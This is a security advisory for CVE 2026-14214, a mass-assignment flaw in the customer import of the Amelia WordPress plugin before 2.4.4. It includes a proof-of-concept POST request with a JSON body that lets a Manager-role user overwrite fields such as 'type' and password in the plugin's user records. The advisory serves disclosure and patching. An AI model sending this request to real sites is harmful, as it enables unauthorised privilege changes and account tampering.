Amelia < 2.4.4 – Amelia Manager+ Arbitrary User-Field Modification via Mass Assignment | CVE 2026-14214

Description

The plugin does not restrict which fields can be written through its customer import, allowing a user with the Amelia Manager role to modify arbitrary columns of any stored user record by supplying them in the import request.

Proof of Concept

Prerequisites: Amelia (free or Pro), a logged-in user with the Amelia Manager role, and at least one existing customer record.

1) As the Manager, load an Amelia admin page and read the wpAmeliaNonce value.

2) Overwrite arbitrary columns of an existing user record, keyed by email:
POST /wp-admin/admin-ajax.php?action=wpamelia_api&call=/import/customers&wpAmeliaNonce=NONCE
Content-Type: application/json
{"overwrite":[{"email":"existing.customer@example.com","type":"admin","note":"x","birthday":"1990-01-01"}]}
-> "Successfully overwritten users"; the record's type, note and birthday are changed.

The import strips only a few keys, so any real column of the plugin's user table (including type and password) can be set. The impact is bounded to the plugin's own user table; no WordPress role or user link is changed.